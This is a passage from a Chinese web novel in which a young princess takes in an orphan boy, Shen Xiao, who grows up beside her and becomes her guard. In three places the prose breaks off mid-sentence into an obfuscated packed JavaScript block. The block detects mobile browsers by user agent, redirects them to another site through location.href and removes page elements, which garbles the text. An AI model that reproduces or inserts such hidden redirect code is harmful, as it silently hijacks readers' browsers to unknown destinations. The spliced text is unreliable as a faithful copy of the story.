“唔,有点道理。”小玲珑听了,在一旁点头,对这句话表示认可,虽然母妃没有告诉过她这些就是了。 小玲珑趴在小沈笑床边,一改往日的沉闷,她问,小沈笑答,两人你一言我一语地讲了好多话。 通过他的回答,小玲珑知道了,沈笑来自他们打猎的那座大山山脚下的村庄,自幼父母双亡,他身边只有一个姑姑和一对兄妹。姑姑带着两个孩子,因为一份跟沈笑父亲的姐弟情谊,不辞辛苦地一路拉扯沈笑长大。 没醒两天,小沈笑连路都走不稳,就挣扎着爬起来,嚷嚷着要回家找姑姑,说是自己不见了这么多天,姑姑肯定是着急坏了。 见小沈笑回家心切,玉轩枫也未拦他,毕竟他又不是宫里的人,也有自己的家,便打包了御医方子里的各种药材,带着小玲珑,一起把小沈笑送回了家。 三人刚进屋,小玲珑便看到满屋子的破烂不堪,跟皇宫相比简直是天壤之别。一个妇人正哄着怀里哭哭闹闹的孩子,旁边一个比小沈笑大一些的男孩正笨手笨脚地烧着火,弄得小屋子里都是烟。 那个妇人望向那个男孩,有些犹豫,话语里有些埋怨:“炎儿,要不你来看着娇娇吧,还是我来做饭吧。” 那个叫娇娇的小女孩却不依不饶,又一把窝进妇人地怀里,连连撒娇道:“娇娇不要,阿炎哥哥,凶!” 小沈笑走过去,一把从那妇人怀里接过娇娇:“来,笑笑哥哥抱你,别哭了哈。” 接过娇娇的那一瞬,小沈笑身上的伤口被扯得生疼,他却只是轻轻地龇了龇牙,这个小动作却被小玲珑尽收眼底。 像是有魔力一般,娇娇窝在小沈笑怀里,不哭也不闹,就安静地看着他,眼角还挂着泪珠。 许是姑姑之前太过于专注娇娇,没有注意到小沈笑,一看见小沈笑,姑姑满脸的欣喜:“这么些日子都去哪里了?姑姑找不到你,可着急了。” “啊,受了点小伤,多亏了有贵人相助,”小沈笑双手环抱着娇娇,面向着小玲珑和玉轩枫。 玉轩枫在旁边扯了扯嘴角,这是小伤,这个人怕不是伤得太重脑子也坏了吧?不行,有时间了还是要让御医来给他看看脑子。 “啊,谢谢两位贵人,谢谢你们帮助了我们家笑笑。”姑姑连连道谢,给他们搬了凳子,又从一个橱柜里翻出些山楂干,打算招待他们。 日子过得穷困潦倒,没什么零嘴吃,但不能苦了孩子们。正是山里的山楂成熟的季节,前些日子,她上山采了些新鲜的山楂,洗净去籽晒干,给孩子们当做零食。 玉轩枫在皇宫里吃过的好吃的数不胜数,却从来没见过这种小零食,出于好奇,他捡起一小块,小心翼翼地塞进嘴里,尔后又吐了出来:“哇,这是什么,好难吃呀!” 小玲珑本来也想尝尝,听到自家皇兄的一番言论,小心翼翼地也吃了一块,随即,哇地一声大哭了起来:“好酸……哇!好酸……” 姑姑面露尬色,站在原地,不知如何是好。 看到小玲珑哭了,娇娇挣脱了小沈笑的怀抱,颤颤巍巍地朝她走过去,用刚刚抓过泥巴的手,抹了抹她的眼泪:“小姐姐,不哭,不哭,娘亲说了,爱哭的孩子不是好孩子。” 玉轩枫看了看被抹成花猫的玉静姝,不厚道地笑出了声,小玲珑呆呆地站在原地,丝毫不知道发生了什么。 小沈笑打了一桶水,替她擦净,小玲珑才明白事情原委,气呼呼地瞪了玉轩枫一眼。 姑姑为人热情热情,又念在他们俩人对沈笑有所帮助,特意杀了鸡,非要把他们留下来吃饭,小玲珑和玉轩枫推脱不了,只好留了下来。 玉轩枫和小玲珑扒着碗里的糙米,吃的很慢很慢,讲真,他们俩长这么大,还没吃过这么难吃的饭,还时不时地互相望对方一眼…… 终于吃完饭了,小玲珑趁大家不注意,悄悄地把小沈笑拉到角落里:“要不你跟我走吧,皇宫里有吃有住,还有太医可以给你看病。” 小沈笑陷入了沉思,自己的到来确实给姑姑添了很多麻烦,之前姑父不同意收养小沈笑,一气之下离家出走了,再也没有回来。姑姑一个柔弱的女子,拉扯着三个孩子长大,他也还小,帮不上太多的忙,他承认,是他有些拖累姑姑了。 看见他犹豫的神情,小玲珑接了句:“要是你想姑姑了,随时都可以回来找她,我们不拦你。” 耐不住小玲珑的软磨硬泡,小沈笑最后答应了跟着他们回皇宫。 玉轩枫给了姑姑很多银两,带走了小沈笑。 小玲珑承认,带小沈笑走是有私心的,她不忍心看到沈笑姑姑一家穷困潦倒,再加上那个不懂事的娇娇的折腾,小沈笑的病不知道什么时候才能好起来。 可在玉轩枫面前,小玲珑还美其名曰:“皇兄他伤了你,他应该负责,不能有什么头疼脑热的后遗症,不然可都得怪你。” 玉轩枫就这么被小玲珑忽悠了,还连连点头道:“对,皇妹你说有道理。” 小沈笑就这么进了皇宫,跟着内务府里的太监们摸爬滚打,学着宫里的各种规矩和生存准则。 小玲珑和玉轩枫有时候会带了太医,来看他。 正是暖春,珍妃把收到的邻国新进贡的一只五彩云雀给了小玲珑,小玲珑欢喜地提了笼子去找小沈笑玩耍,却听一旁的宫人说要给小沈笑净身。 净身是什么?小玲珑第一次听说这个词,就好奇地拽着身边宫女的长袖,问她们。 大家都说的很晦涩,但听到有人说很疼,有人说会死。有人跟她说过“死”这个词,就是像母妃那样,埋进土里,再也看不到。小玲珑听后,立马就不淡定了,丢了雀儿,整个人挂在小沈笑身上:“他是我的,我不许你们碰他。” 听着管理内务府的宫人来报,玲珑公主不允许他们给新来内务府的小孩净身。宫人们添油加醋,都说小公主蛮横无理,态度又强硬,太后听了也只是摆摆手,说了句:“随她去吧,她开心就好。” 一听皇奶奶说了随便她怎么办,玲珑马上把他从内务府里捞了出去,要带在自己身边。小沈笑就这样得以捡回半条命,被小玲珑带回了幽兰殿。 早些日子,小玲珑在珍妃府上住了些时日,却也有些芥蒂的,毕竟不是自己家,不想过于麻烦珍妃,就借口思念娘亲,搬回了幽兰殿。 偌大的幽兰殿,里三层外三层,是玉景奕当年赏给兰妃的,除了沈笑、玲珑和十几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244502|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个宫女,就再也没有别人。 夜深了,宫人们陆陆续续地退下了,整个大殿里只剩下了小玲珑和小沈笑。 有风拂过,烛影摇曳,小沈笑替小玲珑拉了被子:“睡吧,小公主。” 眼看着小沈笑即将灭了烛离去,小玲珑慌乱地脱口而出:“我,我怕黑。” 小沈笑止住了灭烛的动作,安静地站在小玲珑床边:“那我在这里等小公主睡着了再走。” 小沈笑嘴上应着,心里却也纳闷,他没来之前晚上小公主是怎么过的?只见小玲珑拉了被子盖过头,把自己捂得严严实实的。 她不敢告诉他,之前的日子她夜夜不熄灯,每日抱着一幅母妃的画像入睡。只不过今日小沈笑在,她不敢抱着画像睡,怕被他笑话。 被子里的人静悄悄的,小沈笑差点以为她睡了,正准备离去,之前他在内务府有专门睡觉的地方,那里才是他该去的地方。 哪知小玲珑从被子里露出一双乌溜溜的眸子:“沈笑,我好冷啊,你来和我一起睡吧。” “……”小沈笑知道她在撒谎,却也不拆穿她,这个小丫头,一定是因为一个人害怕,那一瞬,他想到了自己的小妹妹娇娇,便能有几分理解她了。 小沈笑得了令,脱下外衣,钻进被子,卧在她身边。小玲珑立马感受到了身边的暖意,往他那边挪了挪。 她像个受伤的小兽一般,窝在他的怀里,贪婪地汲取着他身上的温暖。 等她睡熟,小沈笑爬出被子,立在一边,看她安静的睡颜。 确认她是真的睡着了以后,小沈笑摸着黑,回到了内务府的住处。 十几个奴才挤在一起,尽管睡着了还是不安分,有人磨牙,有人打呼噜,有人说梦话,小沈笑来这里有一段日子了,对这些早就习以为常。 第二天一早,小玲珑刚起床,便发现小沈笑不见了踪影,以为又有人要捉沈笑回去净身,吓得哇哇大哭起来。一众的宫女哄都哄不好,还十分纳闷,以前她们家的小公主可是从来不哭不闹的啊,今儿个是怎么了? 等到小沈笑端着一盆水出现在她面前的时候,哭声才戛然而止,宫女们似乎是明白了什么,跟小沈笑把小公主早上的情况说了一遍。 从那以后,小沈笑每天都起得特别早,这样,在小玲珑醒来的时候,就可以一眼看到他,就不会哭啦。 趁着春日正好,玉轩枫带着小玲珑去了一趟马场,一大群皇家子弟约在一起赛马,玩得不亦乐乎。玉玲珑因为年纪小,又是个女孩子,多数时间都被晾在了一遍,和小沈笑一起扯着围场边的花草。 回去以后,小玲珑想着白天皇兄们在马上英姿飒爽的模样,闹了很久:“我要骑马马,我要骑马马。” 不仅如此,还在地上撒泼打着滚,一众宫女生怕她有什么闪失,吓得花容失色,赶紧把她捞起来。 小沈笑见状,匍匐在地上,拍了拍自己的后背,跟她说:“来,上来。” 此“马”非彼马,却是正好的高度,不像皇兄的高头大马,她连个马背都够不着。小玲珑开心地爬了上去,让小沈笑驮着自己爬了好几圈才肯罢休。 可玩完了,看见小沈笑膝上被花园的碎石磕破皮流的血后,小玲珑心里很不是滋味,呜咽着说:“我再也不骑马马了。” 47. 驸马是护卫③ 小沈笑有些不解,刚才小公主不是玩得很开心吗?便问她:“为什么呀,不好玩吗?” “好玩,但是你受伤了。”母妃以前告诉过她,如果把自己的快乐建立在别人的伤痛上,那便不是真的快乐。 年迈的老御医又颤颤巍巍地来了。小沈笑心里真的是满满的知足,本来在之前的小山村,是连大夫都看不起的,多亏了小公主,不到半年,自己已经被御医瞧过好几次了。 想着想着,小沈笑傻傻地笑着。 小玲珑看到跟前的人腿上的血才止住,却笑得异常开心,很是不解,问他:“喂!你在笑什么呀?” 看到小玲珑严肃又好奇的表情,小沈笑收敛起笑容:“嘻嘻嘻,没什么。” 有了御医精心配制的药物和小玲珑悉心的照料,小沈笑的腿伤好得很快,没过两天,又在小玲珑面前欢快地蹦哒起来。 有了小沈笑,小玲珑身边欢笑不断。渐渐地,她变得开朗起来,宫里的一众娘娘们对于小公主的变化,看在眼里,喜在心里。 日子一天天地过着,小沈笑到皇宫没几年,玉轩枫就登基做了皇帝。 沈笑发现,那个往日里纨绔爱玩闹的玉轩枫,披上龙袍,就像是变了个人一样的。 不仅如此,他的小公主慢慢长大,也变得有所不同了。 她渐渐地变得活泼开朗,变得很爱笑,他们之间,好像有什么东西从未改变,又好像什么都变了一样。沈笑转念一想,也对,毕竟他身边的这个姑娘,是个大女孩了。 玲珑才过完九岁生辰,却依旧怕黑,晚上要拉着沈笑一起睡。 沈笑也不说拒绝,只是跟她说了一句:“臣在这里看着公主。” 尔后静静地立在她身畔,一声不吭。 玲珑不懂,之前他都是给她暖被窝的呀,今天怎么就不了呢?于是赌气似地拉上被子,嘴上说着:“哼,我一个人睡。” 心中却好似陷进了无底沼泽,无限的黑暗将她拉入一个深渊,源源不断的恐惧笼罩着她,她更害怕,沈笑就这么生气走了,把她一个人丢在黑夜中。 沈笑一夜都呆呆地站在她身边,未曾离开。 有一瞬,他觉得眼前的玲珑很陌生,有些高高在上,遥不可及,而他,只是她身边陪玩的一介乡野村夫,跟她比起来,简直是一个天上,一个地下。 可在某个瞬间又会觉得她很熟悉,她还是跟往常一样,胆子那么小,那么怕黑,倔强得让他心疼。 沈笑想了很久,自己应该怎么办,他总不能以一个玩伴的身份一直陪着她,毕竟以后,她有属于自己的人生,一天天的跟她玩着闹着,根本不是个事。 没过多久发生的一件事,彻彻底底地改变了沈笑。 本来玲珑和几个小皇子一起在御花园里玩耍,场面无敌和谐,沈笑离开了没一会儿,回来的时候就看见玲珑在原地哇哇大哭。 沈笑还来不及问个所以然,就被一群小屁孩异口同声地指着:“就是他,就是他把玲珑妹妹弄哭的。” 真的是跳进黄河也洗不清,沈笑还因此被宫里的公公拉下去打了二十大板。 才十几岁的年纪,可是板子又不长眼睛,等玲珑哭完了,四处寻找沈笑的踪影时,沈笑才挨完二十大板,疼得站都站不起来了。 看着沈笑又一次因为自己受伤,玲珑的眼泪又开始吧嗒吧嗒往下掉。 “你哭什么呀?”沈笑强忍着疼痛,眉头也不皱一下地问眼前的人。 玲珑抹了把眼泪,又哭得稀里哗啦:“因为你又受伤了。” 相对于玲珑公主金枝玉叶,他沈笑受点皮肉伤又算得了什么?沈笑纠正她:“不是,我说的是之前。” “他们说,玲珑是有娘生没娘养的孩子……玲珑又想起了母妃……” 看着玲珑哭得伤心欲绝的模样,沈笑心疼至极,在心里暗暗念道,要是自己能保护好她就好了,那样,别的孩子就不敢再欺负她了。 当沈笑跟玉轩枫说出自己的想法时,玉轩枫一挑眉,问了句:“你身无长物,怎么保护好她?” 只因为玉轩枫的这句话,沈笑去了军营,拜了玉宵国英勇善战的将军李连城为师。 临走的那天,玲珑拽着沈笑的衣裳,久久地不松手,沈笑倒是一如既往地淡定,哄着她说道:“臣不在的这段日子,公主要乖乖的哟~不许哭哟。等臣回来了,再陪公主玩。” 想着他有自己的事要干,不能耽误他,最后,玲珑还是念念不舍地松了手:“那你要早点回来哟。” 沈笑没想到,他这一去就是近两年。 期间,他收到了好多封玲珑写来的信,有时边关告急,他寄出回信时,已经过了一周有余了。 作为戍边将领,李连城带领着部队长期驻扎在边境,对抗凶猛的外寇。沈笑在习武方面很有天赋,拜在李连城门下,不辱师命,甚至跟着李连城一起在鬼门关摸爬滚打了一圈又一圈。 战事告一段落,李连城打算班师回朝,沈笑借了军中的快马,日夜兼程赶回了念城,因为再过几天,就是玲珑十一岁生辰,他没有告诉玲珑,想给她一个惊喜。 从得知李连城大将军即将回京的消息开始,玲珑每日提了裙摆,早早地就在城墙上观望,等着那抹青的出现。 那抹青就是沈笑。有一次,沈笑偶然得知了玲珑最喜欢的颜色是青色,从此他便青衣不离身,只为博她欢喜。 终于,在第三天,一匹黑色的骏马出现在了玲珑的视野,而马上的那个人,恰好一袭青衣。 玲珑喜出望外,探出身子跟他打招呼,脚下一个没踩稳,从几丈高的城墙上翻了下去。 千钧一发之际,沈笑自马上一跃而起,施展轻功,将玲珑揽入怀中。 大抵是欣喜盖过恐惧,只听得耳边呼呼的风声和那人焦灼的一句“哎!公主小心”,玲珑便稳稳当当地落入了一个温暖的怀抱。 沈笑无奈地摇摇头,唉,两年过去了,小公主还是这么冒冒失失的。 玲珑有些尴尬地躺在他的臂弯中,大家都说她很聪明,为什么在这个人面前,自己的一举一动都像傻子一样…… 可随即欣喜淹没了所有的情绪,她一把勾上沈笑的脖子,整个人扑在沈笑身上,很久很久,都没有松开。 她等的人,终于回来了。 回城后,沈笑并不闲着,而是去了执政殿,跟玉轩枫汇报了最新的军情,玲珑尾随在他身后,在一旁目不转睛地看着沈笑。 两年不见,他长高了,瘦了,眉宇中也多了一份坚毅,头脑中多了些行军打仗的谋略,身上多了一身的武功。 两人本来在谈着军情,玉轩枫不经意间瞄到一脸花痴望着沈笑的玉玲珑,突然转了话题:“你可算回来了,玲珑天天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244503|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹着要见你,你若是再晚些回来,她怕不是都要把我这执政殿拆了。” 两年前还是小屁孩,说话里明显有些玩笑的成分,没想到公主竟然这么在意他。沈笑一愣,接过了他的话茬:“陛下两年前说的话可还算数?” 两年前,沈笑有个请求,如果自己此次前去军营学成归来,想伴在玲珑身边,守护着她,不让他再受任何人的欺负了,这也是他离开的初衷。 殊不知,近两年的时光,改变的不只是沈笑,还有玲珑。首先,她学会了独立,再也不是以前那个遇事只知道哭鼻子的小女孩了;其次,她开始跟在玉轩枫周围,学习一些国家大事的决策,可以说是独当一面了;最后,玉宵国的女子年满十四便可成亲,才十一岁的她芳心悸动。 “那,从今天起,你不用再去军营了,你就做玲珑的专属护卫吧。”君无戏言,玉轩枫一开口,玲珑觉得,她阴翳了这么久的天都晴了。 玲珑刚从执政殿出来,心情甚好,绕着沈笑手舞足蹈:“从今以后,你就是我的护卫了。” 沈笑双手抱拳,单膝跪地:“臣愿为公主赴汤蹈火。” 玲珑微嗔,跺脚道:“不许称臣,你是沈笑。叫我玲珑就好了。” 什么君君臣臣的她才不管,她只知道,眼前的人是从小一起陪她玩到大,甚至睡在一张床上的伙伴。 “臣不敢。”沈笑知道,自古君臣有别,君有君之道,臣有臣之礼,不可僭越。 “有什么不敢的,玲珑,玲珑,多好的名字啊,你叫一遍看看。”玲珑怒了,命令道。 沈笑不敢不从,牙缝里战战兢兢地吐出两个字:“玲……珑……” “唉,这就对了嘛!”玲珑一把拍过他的肩,没有半点公主的架势。 次年春天,川西旱灾,正是春耕的季节,百姓们急得焦头烂额,玲珑主动请缨,和沈笑一起被玉轩枫派去了救灾。 经过一番实地考察和大量的试验,挖地凿井,引水开渠,旱情解除已经是三个月后的事情了。 彼时玲珑捏着一张飞鸽传书,趴在桌子上,闷闷不乐:“皇兄他又成亲了……” 玲珑心里怪玉轩枫他不厚道,皇兄你为什么这么着急,眼下旱情不知道会不会复发,我还要在川西观察一段时间,成亲什么的可以晚点嘛,都不等我的~ 沈笑的关注点却不一样:“又?” 沈笑离开的这两年,对后宫的事情基本没什么了解。玉轩枫的后宫里多了一大群女人,玲珑是知道的。玲珑和她们中的大多数都有交集,而那些女人们对她多半是奉承和讨好,若是能赢得宫中最受宠的公主的青睐,想必对她们以后走的路也有益处。 而玲珑却不以为然,有意识地和她们保持着一定的距离,她玉静姝,可不能随随便便成为别人的棋子。 “这次不一样,这次是皇后!”玲珑有些激动,皇后可是一国之母,哪是那些寻常的庸脂俗粉能比得上的。 “皇后有什么稀奇的,等你嫁去别国,你也是皇后。”沈笑翻着一卷工程图,随口说了句。 本来滔滔不绝的玲珑听了这番话,马上就闭了嘴,沈笑意识到自己说错了话,也接着些闭了嘴。 川西旱灾才过,芜都水灾又开始泛滥。玲珑有些气愤,新嫂嫂她都来不急见上一面,这些鬼地方,真的是旱的旱死,涝的涝死,和沈笑又匆匆奔去芜都。 48. 驸马是护卫④ 玲珑是个心系天下的公主,哪里有苦难的百姓,哪里就有她的身影。 这江山是玉轩枫的,却也是万千百姓的,她要用自己的聪慧,替皇兄,替天下人看住这片江山。嫂嫂什么的,等她忙完了再回去看也不迟,玲珑本想着。 可等她再回到念城的时候,已是春天,丞相欲起兵造反一事在宫里闹得沸沸扬扬,而她心心念念许久还未曾谋面的嫂嫂,被打入了冷宫,玉轩枫还不准任何人看望她。 也是在那天,皇后小产,沈笑接到了一向不问朝政的王爷玉龙吟的一封密信,要他去打探那个还未足月的孩子的踪迹,最后玉龙吟才从宫里的死人渠里捡回了弥生。 死人渠是宫里专门用来处理“尸体”的一条水沟,常有宫女奴才冒犯了主子,被打得半死,然后丢在水渠里,任其被流水冲走,死生由命。 好巧不巧,这个闲散的玉王爷一心钻研医术,专修些偏门歪道的法子,已经七个月大的婴儿,在他的一番照顾下,健健康康地长大成人,玉王爷还特地给他取了个名字叫“弥生”,当然,这些已是后话了。 不断有大臣上谏,望皇上放李家一条生路,玉轩枫却对他们的谏言不理不睬。 听说皇兄要把李家满门抄斩,玲珑急了,亲自跑到执政殿,当着文武百官的面,和玉轩枫理论了一番。李家文臣武将人才辈出,能顶下玉宵国的半壁江山,皇兄难道连其中利弊都分不清? 玉轩枫听她一字一句慷慨激昂地说着,却也不恼,反问她:“皇妹你说,按我玉宵国律法,造反一罪该如何处置?” 玲珑不卑不亢地答了句:“按律当诛。” 玉轩枫睨了她一眼:“那皇妹你在这里跟我说什么?怕是去了芜都一趟治水,脑子都跟着进水了吧。” 玲珑不跟他杠进不进水这个问题:“李家是我玉宵国百年的开国功臣。人非完人,孰能无过,陛下若是一味地撇开李家的‘功’,而去一味地指责‘过’,恐怕有失妥当呀!” 玉轩枫坐在龙椅之上,据理力争,寸步不让:“那天子犯法,当与庶民同罪,此话又怎讲?” 仿佛是寻常人家的两兄妹吵架一般,朝上的文武百官成了摆设,谁也不敢在两人中再插一句,毕竟玉轩枫之前交代过了,谁再给李家求情,同罪! 纵观当今,满朝上下,还敢为李家说话的,也只有她玉玲珑了。 玲珑被气倒在大殿之上,玉轩枫轻描淡写一句:“与其关心李家,皇妹还不如多关心关心自己的身子吧,才在这殿上站了两个时辰就受不住了,理应补补了。” 沈笑本来在殿外等候,一听到玲珑晕倒在了大殿之上,立马冲进去抱走了她,还不忘回头瞪了玉轩枫一眼。 早朝不欢而散,群臣们噤若寒蝉,私下里也不敢多说些什么。 沈笑有生之年又一次见到了颤颤巍巍的郑太医,不是因为宫里有多缺大夫,而是全皇宫里,郑太医德高望重,最负盛名,是属于宫里上上流的大夫。一般的皇子公主有个头疼脑热什么的也只能请上流的御医,这位郑太医,是专门给皇上、太皇、太后和玲珑四个人看病的。 悬丝诊脉后,郑太医微微叹了口气道:“公主这是肝火盛,导致气血淤积,才引起的不适。” “这不诊我也知道了,她这是被玉轩枫气的!”沈笑在一旁愤慨道。寻日里玲珑是不用早朝的,好不容易上一次早朝,却是这个结果。 老太医毕竟是见过大风大浪的人,一听到“玉轩枫”三个字,淡淡地提点道:“公子莫直呼陛下名讳,要让陛下听见了,可是要杀头的。” “杀头就杀头呗,我又不是没被他杀过。”沈笑嘟囔道,又小声地接了一句:“除了杀头,他还会干些什么?” 给玲珑开了些药草,郑太医长长地叹了口气:“罪孽啊罪孽啊,李丞相一家这次,怕是逃不掉了……” 正如郑太医所言,李家终究是没逃脱被灭门的结局。 一晃半年,李家势力一点点地垮掉,李连城也难逃厄运。沈笑重情重义,为师一场,他特地去边境收了李连城的尸体,马不停蹄地带回念城,悄悄地葬了起来。 刚回宫,却收到了玉王爷的密令,要把一封密信交给未名宫里的废后。 沈笑名义上是公主的护卫,但玲珑是宫里最安分的公主,读书写字、练琴学舞、刺绣女红,从来不会招惹什么是非,十分让人省心。沈笑闲来无事,就会被叫去替宫里的王爷呀娘娘呀什么的做些跑腿的活计。 沈笑赶到未名宫的时候,废后正打算自行了断。沈笑二话不说,用匕首绑上密信,割断了白绫,匆匆离开了未名宫。 他也只当那是一个寻常的任务,没有细瞅屋内的女子模样。却不知,这忘却的一眼,成为沈笑后来很大的一个遗憾。 若是见过李碧凝的模样,他往后,自然会在醉红楼认出李碧瑶,便能少很多是非。 可是,一切没有若是,上天永远都是捉弄人的,就比如李家被灭门后,战乱和动荡席卷着玉宵国,情急之下,玉轩枫竟然要派玲珑去醉红楼。 醉红楼何许地也?念城最大的烟花柳巷。 沈笑得知了这个消息后,立马提剑去了昭若殿:“你怎么可以这样待她,她可是你的亲妹妹呀!” 玉轩枫正因外敌的事情焦头烂额,听到沈笑的这番话,只是淡淡地说了句:“这是她自己的决定,不信你可以去问她。” 沈笑立在玉轩枫跟前,久久难以置信,却听得玉轩枫虚弱地说了句:“朕错了,朕有些后悔了,朕当初不该一意孤行,要是听她的话就好了……” 沈笑在心里念了句活该,再也不管他,径直走了。 出了昭若殿,沈笑急忙去找玲珑求证,他想听她亲口说一句不是,可那人亦是轻描淡写地告诉他:“一步错,步步错,沈笑,我这次去醉红楼,是为了充当朝廷的眼线,你会陪我的,对吗?” 他也没有反驳,像多年前那样单膝跪地,双手抱拳,应道:“公主去哪里,沈笑必定生死相随。” 他的命是她给的,吃穿亦是她供的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244504|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他哪有理由说不。 一个女子,安身在醉红楼是件简单极其的事情。沈笑不一样,他是个男子,怎么明目张胆地进出醉红楼,成了困扰他一时的大难题。 正当沈笑焦头烂额之际,玲珑附耳说了几句,让沈笑顿时脸红了。 玲珑说,让他扮演一个风流公子,日日流连醉红楼的那种。 不仅如此,玲珑还专门购了一处宅子,当做沈府,还特地给他弄了一屋子的莺莺燕燕,沈笑面无表情,亦沉默不语。 沈府刚建不久,沈笑就把姑姑和表哥表妹接了过来,因为玲珑告诉他,这沈府,以后就是他的家了。 慢慢地,二人都入戏渐深。 她转身变得风情万千,他也变得爱招蜂引蝶。他弃了一身青衣,改穿红衣,因为这样,她就可以在人群中一眼就看到他。 风流于他而言,不难。从前在家,他要哄妹妹开心,来到皇宫以后就变得更会哄女孩子开心了,因为他身边有个时时刻刻都需要被哄着的公主。 妩媚于她而言,不难。她生得本就美,自幼又在皇宫里长大,深谙人心,除此之外,更是才艺多端,能歌善舞,能绘善画。 可能就连玲珑自己都没料到,她这一去醉红楼,就是十年,十二岁到二十二岁,最好的年纪,都用来成全她皇兄的王权霸业,替他守好玉宵国这片江山,除奸臣、斩邪佞。 醉红楼的是非多,沈笑白天假扮成右文殿奉事,一处理完公事,就直奔醉红楼,化身为玲珑的护花使者。在情场中摸爬滚打,红颜知己无数,他却知道,在醉红楼这里,有个人永远在等他回来。 醉红楼一方面虽为风雅之地,可总有轻薄之徒妄图动手动脚,沈笑总是能用甜言蜜语说动其他的姑娘们献上一番美人计,或装作不经意,适时出现,化解玲珑的各种尴尬。 一转眼,十年过去了,玉宵国在李家灭亡后,由一个泱泱大国变成了一个任人宰割的边陲小国,又由一个边陲小国变成了原来的泱泱大国,这其中,玲珑功不可没。 “沈笑,我想回去了。”这天,玲珑喝了些酒,有些迷迷糊糊,正趴在桌上自言自语。 都说一醉解千愁,她想了想朝中的乱局,心中的愁苦更深了。左相欲造反,十年前,也是一个要“造反”的丞相,把她推入了这乱局中。 沈笑一袭红衣,捻了个酒盏,从她的那壶酒里倒出一点点,闻了闻。 嗯,五十年陈酿的女儿红。 他看了看面前的女孩子,温柔地说了句:“嗯,回。” 玲珑向来酒量浅,连两盏女儿红都能喝得酩酊,却见她突然从桌上爬起来,又给自己斟了一杯酒。 这丫头,明明喝不了多少酒,还偏要逞强,沈笑夺过她手中的酒盏,问她:“傻丫头,自己选的路,后悔吗?” 玲珑不知道发生了什么,只看见了一个红色的影子,面上的表情模糊不清,便开始喃喃念到:“沈……沈笑……” “我在。” 一句你在,便是无限心安。 49. 驸马是护卫⑤ 也只有在他身边,她可以肆无忌惮地闹,可以肆无忌惮地醉,可以像个孩子一样,而不是一个公主,每天操心这忧虑那的。 玲珑颤颤巍巍地站起来,沈笑下意识去扶她,却被一个矮脚凳绊了一跤。一转身,玲珑跌进了一个温暖的怀抱。 是沈笑,他的身上总有淡淡的木樨香,味道很好闻,这大概是她一直眷念他的怀抱的原因之一吧。 这是她喜欢了十六年的人呐,还是第一次这么近距离地看他,这张脸,真好看。下一秒,她的唇猝不及防地覆上他的,沈笑微微蹙了蹙眉,也不躲开。 从小到大,只要是她给的东西,无论是什么,他都接受。 只要能让她开心,他什么都做。 她所有的无理要求,他亦都不会拒绝。哪怕是想要天上的星星,沈笑也会想办法给她“摘”下来。 醉红楼日日都上演着各种各样的风流韵事,两人尽管动静很大,却无人的目光汇聚于此。 玲珑闹够了,在沈笑怀中沉沉地睡了过去。 沈笑依旧如往常一样守在她身边,静静地看她的睡颜。 这是他从小守护到大的女孩啊。懂事的女孩,不爱笑的女孩,所有的心事都埋在心底的女孩,表面上很坚强,内心脆弱到不堪一击的女孩…… 他甚至都有些心疼她了,玲珑表面上看起来风轻云淡,却始终徘徊在江山社稷之中,极少操些自己的心。 那天,沈笑整夜未眠。说是最后一次,结束了就回去,可这次他们走的路,又何尝不是步步惊心?相府背后的势力,他们都是知道的,只要一步错,就会步步错,若是一着不慎,便是满盘皆输。 为了不让玲珑太过为难,沈笑走了一步险棋,他去了左相府,妄图找出蛛丝马迹,不料被人发现。相府内高手如云,加上外域奇人助纣为虐,沈笑一人势单力薄,身上刀剑伤无数,还深中“迷迭”剧毒。 疼痛包裹着他,如成千上万只蚂蚁啃噬着他的血肉,沈笑却仅凭着一丝不能落入他们手中、不能给公主添麻烦的执念,逃出了相府。 那时他心里只有一个想法,去醉红楼,去守在她身边,即便自己已经是伤痕累累。 幸亏是醉红楼,沈笑那时候还不知道,从再次踏进醉红楼开始,他便重获新生。那个看似手无寸铁的林青筱,背后居然是千机楼,只一人便可敌千军万马的千机楼。 可是到了醉红楼,他却犹豫了,玲珑一向胆小,自己这副样子,吓到了她怎么办? 他用最后的意识,挪去了月柒的房间。 与月柒相识的江子执,与他共事,也隔三差五来醉红楼,此人为人心善,断然不会见死不救。 沈笑真的获救了。他没想到,等待着他的,是万万千千向他和玲珑伸过来的援手,那么多看起来和这次相府谋逆无关的人们,都开始慢慢地被牵扯到这个局中来。 沈笑更不知道,他昏迷的这几天里,玲珑都快把念城翻了个底朝天——她动用了所有的皇宫眼线,只为了寻到他的踪影。 眼线是一种很隐秘的资源,有些影响是牵一发而动全身的,玲珑如此兴师动众,那一瞬,她完全忘了可能会暴露自己这件事。 